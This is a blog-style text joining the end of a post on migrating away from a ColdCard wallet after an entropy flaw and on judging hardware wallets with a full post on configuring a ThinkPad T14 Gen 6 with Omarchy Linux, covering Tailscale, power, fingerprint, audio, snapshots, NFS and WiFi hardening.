3. Choose the new architecture. I would not generate the new seed on a ColdCard. Use another new signer bought directly from the manufacturer, a SeedSigner, or 2-of-3 with different implementations. Do not import the old words into it. If you insist on reusing your ColdCard, first install the corrected firmware for the proper model and release track.
4. Generate new entropy. Use independent sources and an audited mixer. For dice, use casino-grade material, multiple sources, and at least 99 rolls for a 24-word mnemonic. I would do more.
5. Back up before receiving. Mnemonic, separate passphrase, fingerprints, and the descriptor for multisig. Never photograph any of them or store them in the cloud.
6. Test recovery. Recreate the wallet and verify fingerprints and addresses. In multisig, prove that two keys can sign without depending on the third.
7. Verify the address on the screen. Do not trust only what Sparrow displays on the computer monitor.
8. Send a small amount. Confirm that the new wallet can receive and spend. Coinkite also recommends this test.
9. Move the rest immediately afterward. Review the fee and every output. Look for balances in other accounts, passphrases, and change addresses derived from the old seed.
10. Keep the old backup marked as compromised. Retain it until you are certain the migration confirmed and no delayed deposit will arrive. Never reuse an old address.

If the attacker is racing you, do not spend a week designing the perfect multisig. Create a safe, verified destination, perform the minimum test, and move the funds beyond the old key’s reach. You can reorganize UTXOs and improve the architecture later, with time to think.

So which hardware wallet do I recommend?

Today, none.

After explaining entropy generation, BIP39, passphrases, PSBT, air gaps, descriptors, and multisig, it should be clear that fully offline, hand-built self-custody is very hard. I do not expect a normal person to master the mathematical implications, audit every algorithm, and execute every step without error. Most programmers could not do it either. I will not pretend I can review the entire chain alone, from silicon to the firmware running on the device.

That is exactly why hardware wallets exist. They package complicated cryptography and procedures into an interface a person can operate. This transfers part of the responsibility to the manufacturer; it does not make trust disappear.

Leaving your life savings in an exchange account remains the worst default. You do not have the keys and depend on the company’s solvency, withdrawal policy, legal system, and account security. But a handmade setup you do not understand can also end in total loss. There is no point eliminating counterparty risk only to replace it with a ceremony nobody can restore after a fire or your own death.

For years, the hardware wallet was treated as the last safe haven between those extremes. Coinkite shook trust in the entire category. That does not mean Ledger, Trezor, BitBox, Passport, Jade, SeedSigner, and everyone else are broken or equivalent. It means a strong name, secure element, air gap, visible code, and years on the market are not enough. I can no longer point to one device and say, “buy this and sleep well.” You will have to do your homework.

NEVER buy a second-hand hardware wallet. Buy it new, directly from the manufacturer’s official store. Do not save on shipping by placing your life savings in a device that passed through a stranger’s hands. Marketplace listings, auctions, eBay, “open box,” refurbished hardware, and that unbelievable deal from a friend are all out of the question.

When the package arrives, do not tear everything open and start pressing buttons. Open the official documentation for that model and follow its supply-chain verification. ColdCard uses serialized packaging that shows evidence of opening: the number appears on the bag, an internal tab, and the device itself. Trezor documents the holographic seals for each model. BitBox combines sealed packaging with cryptographic attestation performed by its app.

Check the seal, cuts, glue, serial number, box contents, and the authenticity mechanism shown by the device or official software. Any mismatch ends the setup: do not connect a seed, do not “see whether it works,” and contact the manufacturer. The device must arrive without an initialized wallet and generate new words in front of you. A seed printed inside the box is a scam.

And watch the terminology: all of this is tamper-evident, not tamper-proof. ColdCard’s own documentation admits a bag can be attacked; BitBox says perfect packaging does not guarantee authenticity. An intact seal is one layer. I still want attestation or a genuine check, signed firmware, hash verification where available, and a complete test with a small amount of money.

I would start with these questions:

1. What is the published threat model? The manufacturer must say what it protects against and, more importantly, what remains out of scope: an infected computer, stolen device, physical laboratory attack, supply chain, targeted firmware, coercion. “Military-grade security” is not a threat model.
2. Where does the entropy come from, exactly? Find the sources, how they are combined, and which end-to-end tests prove the New Wallet flow reaches the promised RNG. Support for dice or external entropy helps only when the mixing mechanism is documented and audited. The ColdCard case showed that having the correct TRNG inside the binary does not mean seed generation uses it.
3. Is the code actually free, and does the binary correspond to it? “Source available” under a restrictive license is not FOSS. Open code permits audits, but does not prove anyone performed one. A reproducible build lets third parties rebuild the firmware and compare it bit for bit. Look for current independent verifications on WalletScrutiny, not just the manufacturer’s promise.
4. How does the company treat people who find flaws? Read the disclosure policy, scope, and bounty amounts. Look for old advisories, CVEs, postmortems, and conversations with researchers. A company that publishes a vulnerability, explains its cause, fixes it quickly, and thanks the researcher deserves more trust than one with a supposedly “perfect” history. Sometimes nobody found a vulnerability because nobody competent had an incentive to look.
5. What can you verify on the trusted screen? Before signing, the device should display the address, amount, fee, and change. It should verify receiving addresses on its own display, allow PIN and passphrase entry without handing them to the computer, and correctly register the multisig policy. A secure element protects a key; it cannot rescue an interface that makes you sign without understanding the outputs.
6. Is there an exit route without the manufacturer? I want interoperable standards: BIP39/BIP32 where applicable, PSBT, and output descriptors. I want to export xpubs, fingerprints, and descriptors, use Sparrow, connect my node, and recover through another implementation. Mandatory accounts, proprietary clouds, and backups that open only in the company’s app are lock-in built on top of the key to your life.
7. How do the hardware, firmware, and supply chain work? A secure element, ordinary microcontroller, and stateless signer make different tradeoffs. Find out what persists on the device and what a physical attacker can extract. Releases should be signed, have useful changelogs, prevent unsafe downgrades, and receive maintenance for years. Research how the device proves authenticity, how the company documents packaging and transport, what happens if the update server disappears, and which closed components exist. An air gap is not a magic seal either: QR, NFC, and microSD are input parsers and remain an attack surface.
8. Can you recover without improvising? Before depositing meaningful value, generate the wallet, back it up, erase the device, and recover. Verify the fingerprint, an address, and a complete round-trip transaction. In multisig, restore the descriptor and prove the quorum works without one key. An untested backup is hope, not a backup.

I would also research the repository history, security issues, recent commits, independent audits, and the time between a vulnerability report and its fix. I would search for the model name alongside vulnerability, reproducible build, seed entropy, multisig, and responsible disclosure. An influencer review with an affiliate link is useful for seeing the screen and device size, not for deciding where to store your wealth.

For small amounts, a thoroughly researched commercial signer may be much less risky than a handmade invention. For wealth that changes your life, 2-of-3 with different manufacturers and codebases remains the reference, as Sparrow’s guide recommends. It limits the damage from one compromised vendor, but demands more backups, more testing, and a well-documented policy. Multisig you cannot restore is worse than well-maintained single-sig.

In some collaborative custody services, a company holds one key in a 2-of-3 setup. It should not be able to spend alone, but it learns information about your wallet and can disappear, deny service, or complicate recovery. A professional custodian also exchanges technical risk for legal and counterparty risk. In the end, you choose which risk you carry and which you hand to someone else.

The best recommendation I can offer is not a brand. Choose an architecture proportional to the amount and determine which failures it tolerates. Before depositing money that would hurt to lose, run the entire flow with a small amount: receive, spend, erase one signer, restore the backup, and see whether you can return on your own.

Conclusion

Self-custody removes the custodian but leaves a brutal responsibility behind. Trust remains spread across silicon, firmware, the compiler, the build process, the wallet coordinator, and your own discipline. Hardware wallets remain useful because doing everything by hand is impractical for almost everyone. The mistake is confusing the tool with a guarantee.

I do not recommend a specific brand today. I prefer to distribute risk and create ways to catch failures: independent entropy sources, free code, reproducible builds verified by third parties, rehearsed recoveries, different signers, and multisig when the amount justifies it and you accept the bureaucracy. Single-sig with a passphrase is an understandable choice. It simply does not provide the same fault tolerance. Make that choice knowing what you delegate and which risk you decided to keep.

This may become one of the worst episodes in the history of Bitcoin self-custody. Not because someone left coins on a shitty exchange, typed a seed into a phishing site, or installed a pirated wallet. Many people bought a dedicated device, wrote down 24 words, kept the backup in steel, kept everything offline, and signed through an air gap. They did exactly what Bitcoin culture taught as the correct procedure. A nasty bug still caught them at the most important moment of all: choosing the root.

In the worst cases, the RNG reduced the universe to something around 2^40. The attacker does not need to touch the ColdCard. They enumerate possible states, derive the most likely BIP32 trees and addresses, query the public blockchain, and find which candidates hold UTXOs. Once they find one, they also have the private keys needed to sign. The ColdCard may be powered off, without a battery or USB cable, and locked in a safe. It makes no difference. An air gap protects the path between signer and computer; it cannot recover entropy that never existed.

There was no visible warning. The wallet received, signed, and restored normally until the day someone else reproduced the same key. That is why 12 versus 24 words, air gap versus USB, and secure element versus microcontroller become secondary debates when nobody tested whether the New Wallet button called the correct RNG.

It also shows why I refuse to call negligence a black swan. The source was open, the path was auditable, and the culture pushed away some of the people most capable of spotting problems. It was a white swan waiting for someone to look in the right direction.

The lesson is not to abandon self-custody. It is to stop outsourcing understanding. Study the threat model, find out how entropy is generated, inspect the manufacturer’s history, rehearse recovery, and know which risks remain concentrated. Do not blindly trust a company, certification, influencer, tutorial, or article. Not even this one. Verify.

I have already moved my funds from the old ColdCard. In practice, if you own any ColdCard, do the same. There is no prize for finding out too late that your case had another undocumented exception.

Choose the new architecture using the criteria above. Generate a completely new root. Mix genuinely independent entropy. Test the backup. Verify the addresses. Move everything.

I bought a Lenovo Thinkpad T14 Gen 6 and installed Omarchy on it. It’s not my main machine, and it’s not supposed to be. It’s a companion: a notebook I can open on the 3D printing office desk, SSH into the desktop, fire up Claude Code, access files on the NAS, debug the network through ethernet without hunting for a USB dongle and a long cable. This article covers the hardware choice, the Omarchy setup on top, the customizations specific to a laptop and to this Thinkpad in particular, and the architecture decisions that might not be obvious.

Mini-review of the Thinkpad T14 Gen 6

Let’s get this out of the way: this isn’t the notebook of my dreams. If I were picking by looks, I’d grab an Asus Zenbook S 14 with an OLED screen. If I were picking by portability, the Thinkpad T14s with the aluminum shell, which is lighter and much better looking. The regular T14 has a 14" 1920x1200 IPS panel, 400 nits, 60Hz, no HDR. It gets the job done, but it’s a far cry from the Zenbook’s screen. The shell is plastic with a rubberized finish, which makes it scratch-resistant but not premium. Reviews from NotebookCheck and XDA Developers land on the same verdict: good price, good connectivity, fine performance for office work, but the screen is dated.

What makes up for it:

• Port selection. Full-size HDMI. Gigabit ethernet. USB-A, USB-C Thunderbolt 4, charges over USB-C (not a proprietary charger). For a debug companion, this is exactly what I wanted. The Zenbook S 14, being thinner, cuts ports.
• Fingerprint sensor that actually works on Linux (Goodix MOC, works with libfprint on kernel 6.11+). I use this, details later.
• Thinkpad keyboard. 1.5mm key travel, trackpoint, classic layout. It’s not the best keyboard in the world in 2026, but it’s reliable and durable.
• Rugged shell. It will fall, it will scratch, it will travel in a backpack. If I put a Zenbook OLED or a Macbook Pro on the 3D printing office desk next to the printer with PLA dust in the air, I’d be nervous. The Thinkpad can take a beating.

If I wanted a gaming machine, I’d get an Asus Zephyrus G14, my favorite gaming notebook. If I wanted a creative work machine, I’d get the Asus Zenbook Duo (UX8406) with two vertical OLED screens, great for video editing and 3D modeling. I can afford any Macbook Pro or Mac Studio, and I chose not to go that way. I’ll explain in the next section.

My use case

My main PC is a desktop with Ryzen 9 7950X3D, 96 GB of RAM, RTX 5090 with 32 GB. That’s where I work, experiment with local models, run containers, edit the blog. For gaming, I have a separate mini-PC with an RTX 4090. Those two cover 100% of what I need to do at home.

The notebook exists to cover the remaining 1%: sitting on the couch, taking it to the 3D printing office, taking it to the kitchen, short trips. It’s not meant to replace the desktop. It’s meant to give me remote access to the desktop when I’m away from it.

In practice it looks like this: open the notebook, split the Hyprland layout, left pane SSHs into the main desktop, right pane is the notebook itself. Same Omarchy on both, same keybindings, same bash. The notebook becomes an extension of the desktop, not a parallel environment I have to re-learn in my head every time I switch.

SSH from outside the house: Tailscale

Inside the local network, SSH is trivial, the notebook talks to the desktop through the internal IP. Outside the house is another story. My home IP is dynamic, opening port 22 to the internet is a terrible idea, and even with DDNS and port forwarding you’re putting SSH on the public internet for any scanner to find.

The solution I use is Tailscale. For those who don’t know: Tailscale is a mesh VPN built on WireGuard that creates a private network between your devices (the “tailnet”). Each machine runs the agent, authenticates once, and gets a fixed IP on the private network (something like 100.x.y.z). Traffic between your own devices goes peer-to-peer, encrypted by WireGuard. It doesn’t route through Tailscale’s central server, they only coordinate NAT traversal. Result: from my notebook in a café anywhere in the world, I run ssh hal9000 and land on my home desktop as if I were on the same network.

More sophisticated options exist: Cloudflare Tunnel with Zero Trust to expose services publicly with SSO auth, self-hosted headscale, raw WireGuard with manual config, Nebula, OpenVPN. Each has its use case. If you need to expose services to third parties, control granular per-identity access, or run the whole infrastructure at home without depending on anyone, those options win. In my case, it’s just notebook talking to desktop, for short periods (it’s not a full week of work, it’s a weekend debug session), so free Tailscale covers it. The free tier accepts up to 100 devices and 3 users, way more than I need.

Setup is as simple as it gets:

# On Arch/Omarchy
sudo pacman -S tailscale
sudo systemctl enable --now tailscaled.service
sudo tailscale up --ssh

The --ssh flag enables Tailscale SSH, which authenticates via tailnet identity instead of a local SSH key. Once you log in through the browser to tailscale, each registered machine can SSH into the others based on ACL policy defined in the admin panel. Zero key management.

I repeat the same on the desktop, log in with the same account, done. Both machines show up in the panel (hal9000 and hal9666 in the screenshot above, both with SSH enabled). From the notebook: ssh hal9000. From the desktop to the notebook: ssh hal9666. No port forwarding, no public IP, no port 22 exposed to the internet. If the notebook is stolen, I remove it from the tailnet with one click.

A practical detail: since the tailnet gives stable names, I added entries to ~/.ssh/config to use these short names:

Host hal9000
  HostName hal9000
  User akitaonrails

Now ssh hal9000 works from anywhere that has Tailscale connected. It’s the closest thing to “it just works” I’ve seen for remote SSH.

Why not a Mac

I have no use for macOS. As a dev, I live better in native Linux. Every tool I need has a first-class Linux version, and on macOS I’d get a second-class version via Homebrew. I don’t do iOS, so I don’t need XCode. For mobile I use Flutter or Hotwire Native, which run on any OS. iTerm2 and Ghostty on Mac are fine, but Alacritty, Kitty and Ghostty itself on Linux work just as well. Every good piece of software lands on Linux first and gets ported afterwards. Arch with AUR covers everything in a single yay.

For creative work, I haven’t done it professionally in years. DaVinci Resolve Studio on Linux is better than Final Cut Pro. Krita or Affinity Photo replace Photoshop for most cases. Clip Studio Paint on Android is better than Procreate. I simply don’t have a workflow that depends on Apple, and the App Store annoys me.

For gaming, Mac is terrible. Apple Silicon has a decent GPU for some things, but the native macOS game library is pathetic compared to Windows or Linux. Game Porting Toolkit exists, CrossOver exists, but for anyone who games seriously, it doesn’t cut it. I won’t be gaming on the Thinkpad, I have the main desktop and the mini-PC with the RTX 4090 for that. But if I ever feel like running Hollow Knight or some indie on a train, I just install Steam and let Proton handle it. Linux became a real gaming platform in the last few years, with Proton/DXVK running almost the entire Steam catalog (check ProtonDB). I recently wrote about running my emulation library in distrobox without polluting the host system. With Mac, those options don’t exist.

Another argument that always shows up: “but a Mac Mini M4 or a Mac Studio with 128GB of unified memory runs large models locally, it’s a ChatGPT replacement.” I already tested that thesis and wrote a detailed benchmark. The conclusion: expensive local hardware to run LLMs is a weekend hobby, not a production tool. The open source models that fit don’t deliver the quality Claude Opus delivers. I have a home server with AMD Strix Halo and 96 GB of unified RAM, I ran models for dozens of hours, and in my real coding flow they’re fine for simple tasks. For complex tasks, Claude Opus. Before spending $4000 on a Mac Studio justifying it with local models, actually test it first. You’ll probably end up paying for Opus again.

Why Omarchy

I’ve been using Omarchy on the desktop for months and documented the path in a series of articles. Omarchy 2.0 has its own installer with LUKS, Btrfs, Limine, snapper and SDDM already configured. I wrote about using the official ISO, about ZSH customizations with atuin, starship, secrets properly organized, about Mise for multiple languages, about LazyVim and LazyExtras, about SSH and Yubikeys, about modern TUIs. There’s also Omarchy 3 with dual GPU AMD + NVIDIA and Crush as a coding agent.

For those who don’t know: Omarchy is plain Arch Linux with a cosmetic layer on top of Hyprland/Wayland. Pre-configured with sane defaults. I could build all of it from scratch, I’ve done it several times in my life, but why redo work someone already did well? I install Omarchy, I stack the tweaks that are mine on top, and I have customized Arch in a fraction of the time.

A point I raise every time I recommend Omarchy: the documentation is excellent. There’s an official manual covering everything from installation to theme customization, keybindings, Hyprland, Waybar, the works. If you’re coming from Ubuntu or Fedora and are wary of Arch, this manual handles most of the doubts. If you’ve never touched Hyprland, open it and read around. It’s not a README dumped on GitHub, it’s a real manual with chapters and an index.

The story of this article starts in a previous thread. I recently migrated my home server, swapping an old Ubuntu box for a Minisforum MS-S1 running openSUSE MicroOS configured with Claude Code. That was the first serious experiment of letting Claude Code drive an entire infra migration, with containers, NFS, services, networking. It worked. And it left an idea in the air: why not use the same approach to configure a new notebook?

That’s what I did. I grabbed the Thinkpad, downloaded the latest Omarchy ISO, burned it to a flash drive, installed it over Windows. From zero to working desktop in under an hour. From there on, it’s all tweaking, which I documented as I went.

I’ll detail the two layers of customization: what any notebook needs, and what’s specific to this Thinkpad.

Laptop-specific configs

A notebook has problems a desktop doesn’t: battery, suspend, lid, brightness, trackpad. Those are the parts Omarchy default doesn’t cover the way I want.

Power management with TLP

Omarchy defaults to power-profiles-daemon. I swapped it for TLP, which gives granular control over CPU scaling, battery thresholds and dynamic profiles based on AC vs battery.

sudo pacman -S tlp tlp-rdw
sudo systemctl mask power-profiles-daemon.service
sudo systemctl enable --now tlp.service

The mask is necessary because upower pulls power-profiles-daemon back in if you just disable it.

Charge thresholds: 60% to start, 85% to stop. The notebook spends most of its time plugged in on the office desk, and keeping the battery at 100% 24/7 wrecks capacity over time. With 60/85, the battery spends most of its time in the healthy lithium range and still has decent usable capacity.

Profiles: balanced with balance_power on battery, performance on AC. TLP’s low-power was too aggressive on the Core Ultra 5 235U, window and terminal response became noticeable. Balanced gives the best consumption/responsiveness ratio for normal use.

There’s a gotcha: tlp auto after tlp ac doesn’t always re-apply the battery profile. I wrote a small script bound to Super+Ctrl+P that reads the current state and calls tlp bat or tlp ac explicitly:

#!/bin/bash
set -euo pipefail

profile=$(cat /sys/firmware/acpi/platform_profile 2>/dev/null || echo unknown)
on_ac=$(cat /sys/class/power_supply/AC*/online 2>/dev/null | head -1 || echo 0)

if [[ "$profile" == "performance" ]]; then
  if [[ "$on_ac" == "1" ]]; then
    sudo /usr/bin/tlp auto >/dev/null
    label="Plugged in — back to AC auto"
  else
    sudo /usr/bin/tlp bat >/dev/null
    label="On battery — normal profile"
  fi
  notify-send -t 2000 "Performance mode: off" "$label" 2>/dev/null || true
else
  sudo /usr/bin/tlp ac >/dev/null
  notify-send -t 2000 "Performance mode: on" "Forcing AC profile" 2>/dev/null || true
fi

In waybar, a custom module custom/perf shows the current state (󰓅 PERF, 󰌪 ECO, or empty for balanced) and accepts a click to toggle. The output script is tiny:

#!/bin/bash
p=$(cat /sys/firmware/acpi/platform_profile 2>/dev/null)
case "$p" in
  performance) printf '󰓅 PERF' ;;
  low-power)   printf '󰌪 ECO'  ;;
  balanced|"") printf ''       ;;
  *)           printf '%s' "$p" ;;
esac

Suspend, hibernate, and the lid

This is what changed compared to the notebooks I used in 2015. The T14 Gen 6 closes the lid, suspends, and wakes up when you open it. No bug, no weird delay, no needing to log in again mid graphical session. Hyprlock kicks in after the suspend, accepts fingerprint or password, and brings me back to the desktop in seconds. This is the behavior Apple has had for years and that on Linux used to be an adventure. In 2026, on modern hardware with kernel 6.11+, it just works.

Mem sleep mode is s2idle (no deep sleep). Hibernation is enabled via a ~30 GB Btrfs swapfile and resume=/dev/mapper/root resume_offset=... on the Limine kernel cmdline. I rarely use it, but it’s there.

Hypridle has aggressive timeouts for a laptop:

• 2.5 min → screensaver
• 5 min → lock
• 5.5 min → DPMS off + keyboard backlight off

After lock, another 5 min and the screen turns off completely. On unlock, it restores screen and keyboard brightness to the previous level. These timings are much shorter than on the desktop (20-40 min there). The battery difference over a day is measurable.

Brightness and keyboard backlight

brightnessctl controls both. Fn+Space toggles the keyboard backlight across three levels. Hypridle saves the current level before turning off and restores it on resume. Command I use in the script:

brightnessctl -sd '*::kbd_backlight' set 0    # save and turn off
brightnessctl -rd '*::kbd_backlight'          # restore

Touchpad

In hypr/input.conf:

touchpad {
    natural_scroll = true
    clickfinger_behavior = true
    disable_while_typing = true
    scroll_factor = 0.4
}
gesture = 3, horizontal, workspace

clickfinger_behavior swaps the 2-finger click as right-click (more comfortable than hitting the lower-right zone). disable_while_typing is basic palm rejection. Three-finger horizontal swipes switch workspaces, the most useful gesture in Hyprland.

Thinkpad-specific configs

This is what’s specific to this model. Some things modern Linux handles on its own, others need explicit configuration.

Fingerprint sensor

Goodix MOC 27c6:6594, works with libfprint 1.94.9+ on kernel 6.11+. Package is fprintd.

sudo pacman -S fprintd
fprintd-enroll                        # right index finger by default
fprintd-enroll -f left-index-finger   # other finger

To make sudo accept fingerprint, I added auth sufficient pam_fprintd.so above the pam_unix.so line in /etc/pam.d/sudo. With sufficient, if the fingerprint passes, it authenticates directly. If it fails or I hit ESC, it falls back to the password prompt. This is genuinely worth it: dozens of times a day, sudo pacman -Syu or sudo systemctl restart something, and I just touch the sensor.

On hyprlock, I use hyprlock’s native configuration, not PAM:

auth {
    fingerprint {
        enabled = true
        ready_message = Scan fingerprint or type password
        present_message = Scanning...
        retry_delay = 250
    }
}

The PAM path gives a double prompt. Configured natively, hyprlock accepts fingerprint or password, whichever succeeds first unlocks.

On SDDM (initial login), I kept password only. The reason: the login password unlocks the GNOME keyring, and the fingerprint can’t provide plaintext for that. Once the keyring is unlocked, hyprlock can use fingerprint without issues.

In practice, sudo looks like that. Touch the sensor, authenticate, move on.

Brazilian Thinkpad keyboard

The Brazilian Thinkpad keyboard has an annoying quirk. The /? key sits where the right Ctrl would be (keycode 97), not in the traditional ABNT2 AB11 position (keycode 89). If you use the standard br(abnt2) layout, that key is inaccessible. It literally prints nothing.

The solution is the br(thinkpad) variant that exists in /usr/share/X11/xkb/symbols/br:

xkb_symbols "thinkpad" {
    include "br(abnt2)"
    name[Group1]="Portuguese (Brazil, IBM/Lenovo ThinkPad)";
    key <RCTL> { [ slash, question, degree, questiondown ] };
};

In hypr/input.conf:

kb_layout = br
kb_variant = thinkpad
kb_model = thinkpad60

And system-wide for TTY/X11:

sudo localectl set-keymap br-abnt2
sudo localectl set-x11-keymap br thinkpad thinkpad60

I wrote a small Python that reads raw scancodes from /dev/input/event* to diagnose these quirks. Useful when a key decides not to work and you need to find out if it’s hardware, kernel, or xkb.

Input method: fcitx5

Alongside the layout I install fcitx5. Input method, for those who don’t know, is the layer that turns a key sequence into characters. It handles deadkeys (tilde for nasalization, acute accent, circumflex), composing characters that aren’t on the keyboard (ç, Ç, uppercase accented letters), emoji support. In Qt or GTK apps, the input method also drives context menus for cedilla and accents.

Packages:

sudo pacman -S --needed fcitx5 fcitx5-configtool fcitx5-gtk fcitx5-qt

And the environment variables for toolkits to find fcitx5. I created ~/.config/environment.d/fcitx.conf:

INPUT_METHOD=fcitx
QT_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx
SDL_IM_MODULE=fcitx

systemd’s environment.d is loaded before graphical sessions, so Brave, Alacritty, VS Code and any GTK/Qt app pick it up automatically. I enable autostart in Hyprland:

exec-once = fcitx5 -d

Typing ~a produces ã, 'e produces é, ç works as it should in every app. On a Brazilian Thinkpad keyboard, this is the difference between typing Portuguese naturally or hunting for each character.

SOF audio

Realtek ALC3306/ALC287 codec via Sound Open Firmware. Without sof-firmware, the kernel module loads but the DSP never boots and PipeWire silently falls back to auto_null. Result: you think the speaker is on mute, but actually PipeWire has no device at all.

sudo pacman -S --needed sof-firmware alsa-ucm-conf pipewire pipewire-pulse wireplumber

If you need to force SOF instead of legacy HDA:

echo "options snd-intel-dspcfg dsp_driver=3" | sudo tee /etc/modprobe.d/alsa.conf

Reload without reboot:

sudo modprobe -r snd_sof_pci_intel_mtl
sudo modprobe snd_sof_pci_intel_mtl
systemctl --user restart wireplumber pipewire pipewire-pulse

Firmware updates via fwupd

fwupdmgr update works, but with Limine there’s a gotcha: fwupd tries to write to /boot/EFI/systemd/ or /boot/EFI/arch/, which don’t exist. The workaround:

sudo mkdir -p /boot/EFI/arch
sudo fwupdmgr update -y --no-reboot-check
fwupdmgr get-history  # should show "Success"

HiDPI / fractional scaling

14" panel at 1920x1200, Hyprland’s free resolution. Omarchy’s auto 1.5x felt too chunky. I pinned it at 1.333x:

env = GDK_SCALE,1
monitor=,preferred,auto,1.3333,vrr,2

Effective 1440x900. GTK with GDK_SCALE=1 renders 1:1 with Hyprland (no double magnification). VRR mode 2 only in fullscreen, because LCD panels tend to flicker on static content with VRR active.

Brave and Chromium flags to render well at this scale:

--ozone-platform=wayland
--enable-features=WaylandFractionalScaleV1,UseOzonePlatform,VaapiVideoDecoder,VaapiVideoEncoder
--enable-gpu-rasterization

VAAPI makes a real difference on YouTube battery life.

Tuning Omarchy to be mine

Omarchy comes with good defaults. What I adjust stacks on top of them, without touching ~/.local/share/omarchy/ (which is clobbered by omarchy-update). All customization lives in ~/.config/.

Infra: Btrfs, snapshots, Snapper

Omarchy already ships with Btrfs and separate subvolumes:

@home separated means ~/.cache, ~/.config/BraveSoftware, etc. don’t bloat root snapshots. Snapshot is for system, not profile.

Swap: 4 GB zram at priority 100 (hit first), plus a 30 GB swapfile at priority 0 (enables hibernation, sized to match RAM).

The snapshot stack: Snapper takes a snapshot before and after every pacman -Syu via snap-pac. limine-snapper-sync writes those snapshots into the Limine menu, so you can boot into a previous snapshot to roll back. If something breaks after an update, you hold a key on boot, pick the pre-update snapshot, boot read-only to verify, and if it’s good, run snapper rollback.

Omarchy leaves snapper-cleanup.timer and snapper-boot.timer disabled by default. I enabled both and configured retention to fit on a 1 TB SSD without blowing up:

TIMELINE_LIMIT_HOURLY=10
TIMELINE_LIMIT_DAILY=0
TIMELINE_LIMIT_WEEKLY=1
TIMELINE_LIMIT_MONTHLY=1
NUMBER_LIMIT=50

A detail that costs debug time if you forget: Docker and Ollama write gigabytes into /var/lib/docker and /var/lib/ollama. If that falls inside @, snapshots go catastrophic. Each Docker image or Ollama model downloaded triples in size. I created nested subvolumes for both, with chattr +C to disable CoW:

sudo btrfs subvolume create /var/lib/docker
sudo chattr +C /var/lib/docker
sudo btrfs subvolume create /var/lib/ollama

This has to be done BEFORE Docker or Ollama writes any data. If they already have data there, you need to migrate.

NFS to the Synology NAS

My Synology exposes three volumes. On the desktop, I mount them the usual way. On the notebook, it has to be more defensive. The notebook moves around, forgets networks, connects to public WiFi. Notebook’s fstab:

nfs4  _netdev,noauto,nofail,x-systemd.automount,x-systemd.idle-timeout=10min,x-systemd.mount-timeout=15s,noatime,nodiratime,nconnect=4,actimeo=10,soft,timeo=30,retrans=2

Critical difference vs the desktop: soft with short timeouts (doesn’t hang forever), x-systemd.idle-timeout=10min (auto-unmount when idle), no network-online.target in the require (doesn’t slow boot). Practical result: cd /mnt/gigachad at home mounts lazily, away from home it fails fast without locking the shell.

Another important detail: my user on the notebook has UID 1026, which matches the share permissions on the Synology. Linux defaults to creating users at 1000, the Synology enforces identity via UID on the wire. If the UIDs don’t match, you can’t read the files, or worse, you write as nobody. I ran the usermod/groupmod from a TTY (with the user logged out) to remap the user to 1026/1026 and did chown -R on /home.

Public WiFi hardening

The notebook will leave the house. In an airport or café, I don’t want to announce hostname, don’t want a trackable MAC, don’t want a service listening on an open port.

/etc/NetworkManager/conf.d/00-macrandomize.conf:

[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=stable
ethernet.cloned-mac-address=stable
connection.stable-id=${CONNECTION}/${BOOT}

ipv6.ip6-privacy=2
ipv6.addr-gen-mode=stable-privacy

Random MAC per scan (passive anti-fingerprinting). Stable cloned MAC per SSID (captive portals don’t re-prompt you every time) but different MACs between networks. IPv6 with temporary addresses and interface ID derived from a stable secret, not from the MAC (no EUI-64 leak).

/etc/systemd/resolved.conf.d/hardening.conf:

[Resolve]
LLMNR=no
MulticastDNS=no

Kills hostname broadcast on LLMNR and mDNS. I also disable avahi:

sudo systemctl disable --now avahi-daemon.service avahi-daemon.socket

UFW firewall:

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw --force enable

SSH server is already off by default on Omarchy. Nothing listening. Even if the firewall leaks, there’s no surface.

All of it rolls into a single initial setup ritual.

SSH agent persistence (keyring + keychain)

If you use SSH seriously, you want to type the passphrase once per boot and have ssh, git push, scp stay silent for the rest of the day. On current Arch there’s a catch: gnome-keyring 50 dropped its SSH component, and the replacement (gcr-ssh-agent) is a plain in-memory agent with no passphrase persistence. The “remember this key” checkbox you saw in old guides simply doesn’t exist anymore.

The combination that works has three pieces:

1. gcr-ssh-agent.socket managed by systemd serves SSH_AUTH_SOCK at $XDG_RUNTIME_DIR/gcr/ssh
2. pam_gnome_keyring on SDDM login unlocks the keyring with the login password (used by GUI apps like Brave, not by SSH)
3. keychain (wrapper) keeps an ssh-agent alive across logouts, overrides SSH_AUTH_SOCK to point at that persistent agent, and caches the PID in ~/.keychain/<host>-sh

First, install the keyring:

sudo pacman -S --needed gnome-keyring seahorse keychain

Then edit /etc/pam.d/sddm so the login password unlocks the keyring automatically. Add at the top:

-auth      optional    pam_gnome_keyring.so

And at the end:

-session   optional    pam_gnome_keyring.so    auto_start

The leading hyphen (-auth, -session) marks it optional, so if the module fails to load, login doesn’t break.

Pin SSH_AUTH_SOCK for graphical and TTY sessions via ~/.config/environment.d/ssh-agent.conf:

SSH_AUTH_SOCK=%t/gcr/ssh

%t resolves to $XDG_RUNTIME_DIR, something like /run/user/1026. Enable the gcr socket and user linger (so user daemons survive logout):

systemctl --user enable --now gcr-ssh-agent.socket
sudo loginctl enable-linger $USER

Finally, in ~/.config/bash/init.sh, keychain starts or reuses the agent:

if command -v keychain &>/dev/null && [[ -r ~/.ssh/id_ed25519 ]]; then
  eval "$(keychain --eval --quiet ~/.ssh/id_ed25519)"
fi

--eval emits shell assignments (SSH_AUTH_SOCK, SSH_AGENT_PID) pointing to keychain’s agent, overriding the gcr path set by environment.d. --quiet silences the banner once the key is loaded.

Flow in practice: boot → first terminal → keychain prompts for the passphrase once → key stays loaded. Logout → login again → new shells reattach to the same agent (via ~/.keychain/<host>-sh) → zero prompts. ssh-add -l confirms the key is there, echo $SSH_AUTH_SOCK confirms it’s at keychain’s path.

When you’ll re-enter the passphrase: reboot, ssh-add -D, or keychain --clear. In normal use, once a day.

Bash instead of ZSH

On the desktop I use ZSH. On the notebook I went with Bash to align with Omarchy’s default, without having to maintain a parallel stack of modular layers. ~/.bashrc is a symlink to ~/.config/bash/bashrc, which sources Omarchy’s defaults first and then stacks my customizations:

source ~/.local/share/omarchy/default/bash/rc
source ~/.config/bash/envs.sh
source ~/.config/bash/aliases.sh
source ~/.config/bash/mounts.sh
source ~/.config/bash/init.sh
source ~/.config/bash/secrets    # gitignored, chmod 600

